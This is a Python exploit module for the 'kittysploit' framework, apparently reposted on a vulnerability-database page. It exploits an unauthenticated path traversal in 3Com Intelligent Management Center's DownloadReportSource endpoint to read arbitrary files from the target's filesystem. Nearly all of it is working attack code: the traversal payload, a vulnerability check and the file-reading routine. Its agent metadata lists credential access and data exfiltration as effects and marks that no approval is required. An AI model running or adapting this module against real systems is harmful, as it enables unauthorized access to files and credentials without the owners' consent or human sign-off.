3Com IMC Path Traversal
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""3Com IMC Path Traversal"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': '3Com IMC Path Traversal',
'description': 'Exploits 3Com Intelligent Management Center path traversal vulnerability. If the target is vulnerable it is possible to read file from the filesystem.',
'author': ['Richard Brain', 'Marcin Bury'],
'platform': Platform.LINUX,
'references': ['https://www.exploit-db.com/exploits/12679/'],
'tags': ['iot', 'router', 'lfi', 'unauth', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(8080, "Target HTTP port")
filename = OptString("\\windows\\win.ini", "File to read from the filesystem")
def run(self):
if self.check():
print_success("Target seems to be vulnerable")
print_status("Sending paylaod request")
path = "/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports&fileName=reportParaExample.xml..\\..\\..\\..\\..\\..\\..\\..\\..\\..{}".format(self.filename)
response = self.http_request(
method="GET",
path=path,
)
if response is None:
return
if response.status_code == 200 and len(response.text):
print_success("Exploit success - reading {} file".format(self.filename))
print_info(response.text)
else:
print_error("Exploit failed - target seems to be not vulnerable")
def check(self):
response = self.http_request(
method="GET",
path="/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports&fileName=reportParaExample.xml..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini",
)
if response is None:
return False # target is not vulnerable
if response.status_code == 200 and "[fonts]" in response.text:
return True # target is vulnerable
return False # target is not vulnerable
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19 Aug 2026 05:37Current
5.9Medium risk
Vulners AI Score5.9